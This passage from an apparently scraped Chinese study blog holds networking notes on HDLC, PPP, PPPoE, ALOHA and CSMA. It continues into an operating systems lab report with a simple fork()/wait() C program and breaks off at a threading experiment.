start=\"2\"\u003e\u003cli\u003e平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e链路两端的两个站都是复合站,复合站同时具有主站与从站的功能,每个复合站都可以发出命令与响应。平衡配置方式只有异步平衡模式一种工作模式,每个复合站都可以发起数据传输,而不需要得到对方的许可。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Frames-HDLC的帧格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Frames-HDLC%E7%9A%84%E5%B8%A7%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"Frames HDLC的帧格式\"\u003e\u003c/a\u003eFrames HDLC的帧格式\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235215.png\"/\u003e\u003c/p\u003e\u003cp\u003e如图所示,上面是三种帧结构,分别是\u003cstrong\u003e信息帧,管理帧,无编号帧\u003c/strong\u003e。它的控制字段如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235430.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"Control-Field-HDLC的帧控制字段\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Control-Field-HDLC%E7%9A%84%E5%B8%A7%E6%8E%A7%E5%88%B6%E5%AD%97%E6%AE%B5\" class=\"headerlink\" title=\"Control Field HDLC的帧控制字段\"\u003e\u003c/a\u003eControl Field HDLC的帧控制字段\u003c/h4\u003e\u003cp\u003e其中,管理帧的控制字段如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e准备接收RR,字段标识是00\u003c/li\u003e\u003cli\u003e不准备接收RNR,字段标识是10\u003c/li\u003e\u003cli\u003e拒绝接收REJ,字段标识是01\u003c/li\u003e\u003cli\u003e选择性拒收SREJ,字段标识是11\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e无编号帧的指令和响应更加复杂:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235556.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般来讲,HDLC中常用的是对等异步控制模式。这种模式下,链接的建立和拆除如下图所示。使用4个U-frame帧来建立和断开连接。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235746.png\"/\u003e\u003c/p\u003e\u003cp\u003e而进行数据通信时,基本使用I-frame信息帧捎带指令。如果发生数据丢失等情况,则未接收到的一方使用S-frame来告知另一方重发。\u003c/p\u003e\u003ch3 id=\"POINT-TO-POINT-PROTOCOL-点到点协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#POINT-TO-POINT-PROTOCOL-%E7%82%B9%E5%88%B0%E7%82%B9%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"POINT-TO-POINT PROTOCOL 点到点协议\"\u003e\u003c/a\u003ePOINT-TO-POINT PROTOCOL 点到点协议\u003c/h3\u003e\u003cp\u003e高级数据链路控制协议是点到点和点到多点都能使用的一个通用协议,但最通用的协议还是点到点协议(Point-to-Point Protocol,PPP),使用面向字节的方式。\u003c/p\u003e\u003cp\u003e它的帧格式如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000141.png\"/\u003e\u003c/p\u003e\u003cp\u003e特点如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e简单:不提供可靠传输,无流量控制,无重传机制,网络开销小,速度快\u003c/li\u003e\u003cli\u003e封装成帧:首部和尾部,帧开始符,帧结束符\u003c/li\u003e\u003cli\u003e透明传输:可传输任意比特组合的数据,加转义字符,收到后去掉转义字符\u003c/li\u003e\u003cli\u003e差错检测:CRC计算帧校验序列FCS\u003c/li\u003e\u003cli\u003e支持多种网络层协议:IPv4和IPv6网络层协议都可以封装到PPP帧中\u003c/li\u003e\u003cli\u003e多种类型链路:光纤、铜线,同步传输、异步传输,串行、并行链路均可\u003c/li\u003e\u003cli\u003e最大传送单元:1500字节\u003c/li\u003e\u003cli\u003e网络层地址协商:能够为拨号的一端分配IP地址、子网掩码、网关和DNS\u003c/li\u003e\u003c/ul\u003e\u003cp\u003ePPP是面向字节的协议,通过转义字节01111101进行透明插入和删除。\u003c/p\u003e\u003ch3 id=\"PPPoE协议(PPP-Over-Ethernet)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#PPPoE%E5%8D%8F%E8%AE%AE%EF%BC%88PPP-Over-Ethernet%EF%BC%89\" class=\"headerlink\" title=\"PPPoE协议(PPP Over Ethernet)\"\u003e\u003c/a\u003ePPPoE协议(PPP Over Ethernet)\u003c/h3\u003e\u003cp\u003e•用于实现PPP在以太网上的传输。\u003cbr/\u003e•是为了满足越来越多的宽带上网设备(如ADSL—最初是静态IP 、无线、有线电视等)和越来越快的网络之间的通信而指定开发的标准,它给出了两个广泛的接受的标准:以太网和PPP拨号协议。\u003cbr/\u003e•PPPoE就是将PPP数据承载到以太网上,实质是在共享介质的网络中提供一条逻辑上的点到点链路(Session ID)。\u003cbr/\u003e•PPPoE主要协议标准:RFC2516\u003c/p\u003e\u003cp\u003e它广泛利用在ADSL接入方式中。通过它,可以实现高速宽带网的个人身份验证访问,为每个用户创建虚拟拨号连接,来高速连接到Internet。\u003c/p\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003cp\u003e数据链路层分为\u003cstrong\u003e逻辑链路控制子层LLC\u003c/strong\u003e和\u003cstrong\u003e介质访问控制子层MAC\u003c/strong\u003e。后者的协议可以分为以下几类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000817.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"随机访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%9A%8F%E6%9C%BA%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"随机访问协议\"\u003e\u003c/a\u003e随机访问协议\u003c/h3\u003e\u003cp\u003e没有一个站点是优于其它站点的,也不能控制其它站点。没有站点有权力允许或不允许其它站点发送或不发送数据。有数据要发送的站通过自身的协议决定发送还是不发送数据。\u003c/p\u003e\u003cp\u003e在链路中,为了让多方向的通信不至于冲突,因此有了底下几个协议。\u003c/p\u003e\u003ch4 id=\"ALOHA协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#ALOHA%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"ALOHA协议\"\u003e\u003c/a\u003eALOHA协议\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002735.png\"/\u003e\u003c/p\u003e\u003cp\u003e在这种传输过程中,无冲突相关的计算:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003239.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的吞吐量是$S=G\\times e^{-2G}$,当$G=1/2$时,取到最大值$S_{max}=0.184$。\u003c/p\u003e\u003cp\u003e此外,还存在时隙ALOHA:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003513.png\"/\u003e\u003c/p\u003e\u003cp\u003e它可能的冲突时间等于帧传播时间。它的\u003c/p\u003e\u003ch4 id=\"CSMA-载波侦听多路访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-%E8%BD%BD%E6%B3%A2%E4%BE%A6%E5%90%AC%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"CSMA-载波侦听多路访问协议\"\u003e\u003c/a\u003eCSMA-载波侦听多路访问协议\u003c/h4\u003e\u003cp\u003e三种坚持型方法的流程如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002540.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CD-冲突检测CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CD-%E5%86%B2%E7%AA%81%E6%A3%80%E6%B5%8BCSMA\" class=\"headerlink\" title=\"CSMA/CD-冲突检测CSMA\"\u003e\u003c/a\u003eCSMA/CD-冲突检测CSMA\u003c/h4\u003e\u003cp\u003e带冲突检测的载波监听多路访问CSMA/CD (Carrier Sense Multiple Access with Collision Detection)规定了冲突处理的算法。\u003c/p\u003e\u003cp\u003e任意站点都可以发送帧,之后监控介质查看传送是否成功。如果成功,站点完成发送;如果不成功,说明存在冲突,需要重新发送此帧。\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CA-冲突避免CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CA-%E5%86%B2%E7%AA%81%E9%81%BF%E5%85%8DCSMA\" class=\"headerlink\" title=\"CSMA/CA-冲突避免CSMA\"\u003e\u003c/a\u003eCSMA/CA-冲突避免CSMA\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/"},{"title":"操作系统实验报告","time":"2023-05-23T08:02:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"实验1:创建进程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C1%EF%BC%9A%E5%88%9B%E5%BB%BA%E8%BF%9B%E7%A8%8B\" class=\"headerlink\" title=\"实验1:创建进程\"\u003e\u003c/a\u003e实验1:创建进程\u003c/h2\u003e\u003ch3 id=\"一、实验目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建子进程,读取文件\u003c/li\u003e\u003cli\u003e父进程等待子进程完成后再继续执行\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdlib.h\u003c/code\u003e以及\u003ccode\u003esys/wait.h\u003c/code\u003e。随后在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程,使用\u003ccode\u003estdlib.h\u003c/code\u003e提供的I/O函数进行文件创建和写入工作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。调用\u003ccode\u003ewait()\u003c/code\u003e等待子进程结束后再执行即可。\u003c/p\u003e\u003ch3 id=\"三、实验代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Failed to create child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp=fopen(\u003cspan class=\"string\"\u003e\u0026#34;./test.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Write finished in child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process wait completed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523162739.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,程序的执行顺序确实是先子进程再父进程。输出的文件内容也正确。\u003c/p\u003e\u003ch3 id=\"五、实验心得\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下\u003ccode\u003efork()\u003c/code\u003e系统调用的用法,知道了如何创建一个新的进程,也知道了\u003ccode\u003efork()\u003c/code\u003e的返回值的含义,能编写一个单文件的多进程程序。\u003c/p\u003e\u003ch2 id=\"实验2:线程共享进程数据\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C2%EF%BC%9A%E7%BA%BF%E7%A8%8B%E5%85%B1%E4%BA%AB%E8%BF%9B%E7%A8%8B%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"实验2:线程共享进程数据\"\u003e\u003c/a\u003e实验2:线程共享进程数据\u003c/h2\u003e\u003ch3 id=\"一、实验目标-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-1\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建多个线程,并让它们共享进程数据\u003c/li\u003e\u003cli\u003e理解线程之间的数据竞争和同步问题\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-1\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003epthread.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ecount\u003c/code\u003e作为共享数据,并初始化为0。随后在主程序中创建两个线程,并传入一个函数指针作为线程执行的任务。\u003c/p\u003e\u003cp\u003e该函数指针指向一个自定义的函数\u003ccode\u003ethread_func\u003c/code\u003e,该函数接受一个整型参数\u003ccode\u003eid\u003c/code\u003e作为线程标识,并在函数内部对全局变量\u003ccode\u003ecount\u003c/code\u003e进行加一操作,并打印出当前线程的标识和\u003ccode\u003ecount\u003c/code\u003e的值。\u003c/p\u003e\u003cp\u003e在主程序中,使用\u003ccode\u003epthread_join\u003c/code\u003e等待两个线程执行完毕后再退出。\u003c/p\u003e\u003ch3 id=\"三、实验代码-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-1\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan 